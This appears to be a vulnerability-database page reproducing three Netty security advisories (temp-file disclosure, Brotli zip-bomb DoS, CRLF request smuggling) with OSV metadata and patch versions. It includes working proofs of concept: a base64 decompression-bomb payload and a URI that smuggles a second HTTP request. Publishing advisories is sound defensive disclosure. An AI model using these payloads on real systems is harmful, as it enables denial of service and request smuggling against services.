Specify your own java.io.tmpdir when you start the JVM or use DefaultHttpDataFactory.setBaseDir(...) to set the directory to something that is only readable by the current user or update to Java 7 or above.
References
- CWE-378: Creation of Temporary File With Insecure Permissions
- CWE-379: Creation of Temporary File in Directory with Insecure Permissions
For more information
If you have any questions or comments about this advisory:
Open an issue in netty
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.76.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.77.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24823"
],
"database_specific": {
"cwe_ids": [
"CWE-378",
"CWE-379",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-10T08:46:50Z",
"nvd_published_at": "2022-05-06T12:15:00Z",
"severity": "MODERATE"
},
"details": "### Description ###\n[GHSA-5mcr-gq6c-3hq2](https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2) (CVE-2021-21290) contains an insufficient fix for the vulnerability identified.\n\n### Impact ###\n\nWhen netty\u0027s multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.\n\nThis only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\n\n### Vulnerability Details ###\n\nTo fix the vulnerability the code was changed to the following:\n\n```java\n @SuppressJava6Requirement(reason = \"Guarded by version check\")\n public static File createTempFile(String prefix, String suffix, File directory) throws IOException {\n if (javaVersion() \u003e= 7) {\n if (directory == null) {\n return Files.createTempFile(prefix, suffix).toFile();\n }\n return Files.createTempFile(directory.toPath(), prefix, suffix).toFile();\n }\n if (directory == null) {\n return File.createTempFile(prefix, suffix);\n }\n File file = File.createTempFile(prefix, suffix, directory);\n // Try to adjust the perms, if this fails there is not much else we can do...\n file.setReadable(false, false);\n file.setReadable(true, true);\n return file;\n }\n```\n\nUnfortunately, this logic path was left vulnerable:\n\n```java\n if (directory == null) {\n return File.createTempFile(prefix, suffix);\n }\n```\n\nThis file is still readable by all local users.\n\n### Patches ###\n\nUpdate to 4.1.77.Final\n\n### Workarounds ###\n\nSpecify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user or update to Java 7 or above.\n\n### References ###\n\n - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n\n### For more information ###\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [netty](https://github.com/netty/netty)\n",
"id": "GHSA-269q-hmxg-m83q",
"modified": "2022-05-10T08:46:50Z",
"published": "2022-05-10T08:46:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-269q-hmxg-m83q"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24823"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/185f8b2756a36aaa4f973f1a2a025e7d981823f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220616-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Local Information Disclosure Vulnerability in io.netty:netty-codec-http"
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
GHSA-84H7-RJJ3-6JX4
Vulnerability from github – Published: 2025-12-15 23:28 – Updated: 2025-12-20 02:30Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.8.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.129.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67735"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-15T23:28:49Z",
"nvd_published_at": "2025-12-16T01:15:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n EmbeddedChannel client = new EmbeddedChannel();\n client.pipeline().addLast(new HttpClientCodec());\n\n EmbeddedChannel server = new EmbeddedChannel();\n server.pipeline().addLast(new HttpServerCodec());\n server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n System.out.println(\"Processing msg \" + msg);\n }\n });\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1,\n HttpMethod.GET,\n \"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\"\n );\n client.writeAndFlush(request);\n ByteBuf tmp;\n while ((tmp = client.readOutbound()) != null) {\n server.writeInbound(tmp);\n }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.",
"id": "GHSA-84h7-rjj3-6jx4",
"modified": "2025-12-20T02:30:14Z",
"published": "2025-12-15T23:28:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.